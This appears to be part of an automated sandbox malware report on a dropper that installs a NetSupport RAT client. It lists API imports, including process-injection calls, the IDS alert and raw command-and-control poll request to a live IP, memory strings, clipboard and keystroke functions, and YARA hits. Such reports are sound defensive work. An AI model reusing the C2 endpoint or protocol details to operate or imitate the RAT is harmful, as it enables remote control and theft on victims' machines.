Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	6_2_111266E0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1110AFD0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	6_2_1110AFD0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.4:49730 -> 45.76.253.210:443

Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 104.26.1.231 104.26.1.231

Source: Joe Sandbox View

ASN Name: AS-CHOOPAUS AS-CHOOPAUS

Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.253.210
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.253.210
Source: unknown	TCP traffic detected without corresponding DNS query: 45.76.253.210
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://45.76.253.210/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.76.253.210Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 24 Dec 2024 16:37:05 GMTContent-Type: text/html; charset=us-asciiTransfer-Encoding: chunkedConnection: keep-aliveCF-Ray: 8f72039419fd425f-EWRCF-Cache-Status: DYNAMICcf-apo-via: origin,hostReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lW7SVSTeGp6OMPZWlwr0EkdKqCkxO1QY2Xx3tzIwjQw9wj7tLvCi2nECvSnMfUIfdQit%2BIjKqFjaT%2BrObcB9Ya5UFQLQZ5UrOriDWvmNuxghySnFhBKpzWUwyWyGKBbDC7Go%2B1Qt6tiUe4aX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareserver-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1599&rtt_var=799&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 24 Dec 2024 16:37:06 GMTContent-Type: text/html; charset=us-asciiTransfer-Encoding: chunkedConnection: keep-aliveCF-Ray: 8f72039d1ee742a0-EWRCF-Cache-Status: DYNAMICcf-apo-via: origin,hostReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IPdTQEZmPl0lBKR8KjJx9PbAboAcYEK7D0bbCWAIEhlIB2fELg1PzGJcs9DUzwzswUJFVFDlO6xK%2B1ubSbS%2BNIjFDfBktvslhfF6N0RWnlYC80AqdmHSVPfal9CXdU5wPQqn7KgQ63D2hQAs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareserver-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1786&rtt_var=893&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 24 Dec 2024 16:37:08 GMTContent-Type: text/html; charset=us-asciiTransfer-Encoding: chunkedConnection: keep-aliveCF-Ray: 8f7203a5e8bd2363-EWRCF-Cache-Status: DYNAMICcf-apo-via: origin,hostReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aDN2muabuDV1YmuvJbYCyAYC9CLGNBg8bk%2BbqBXz3O2MIc1VvRFdsqJwbq0YkROI6bTaCOg9HNkgix49mKAnVimMvoH2wsMzl%2FQqSiPrfHtdCuW91y1E0zHliTGDWMPvBl1ijm4wLylWZyjI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareserver-timing: cfL4;desc="?proto=TCP&rtt=1816&min_rtt=1816&rtt_var=908&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0

Source: bild.exe, bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: bild.exe, bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/testpage.htm
Source: bild.exe, 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: bild.exe, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://127.0.0.1
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0$
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: bild.exe, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp2.
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp7
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp;
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspG
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspLMEMH
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspM
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspU
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspc
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspi
Source: bild.exe, 00000005.00000002.4161642806.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspt
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://s2.symcb.com0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcd.com0&
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, bild.exe, 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, 00000000.00000003.1705248383.00000000054F9000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, bild.exe.0.dr, PCICL32.DLL.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: remcmdstub.exe.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

5_2_1101F6B0

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	5_2_1101F6B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11032EE0 GetClipboardFormatNameA,SetClipboardData,	5_2_11032EE0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	6_2_1101F6B0
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11032EE0 GetClipboardFormatNameA,SetClipboardData,	6_2_11032EE0

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_110321E0 GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalFree,

5_2_110321E0

Source: C:\Users\Public\Netstat\bild.exe

Code function: 5_2_110076F0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

5_2_110076F0

Source: C:\Users\Public\Netstat\bild.exe	Code function: 5_2_11113880 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		5_2_11113880
Source: C:\Users\Public\Netstat\bild.exe	Code function: 6_2_11113880 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		6_2_11113880

Source: Yara match	File source: 10.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe.5322800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 7692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 7904, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 8120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 7176, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Netstat\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

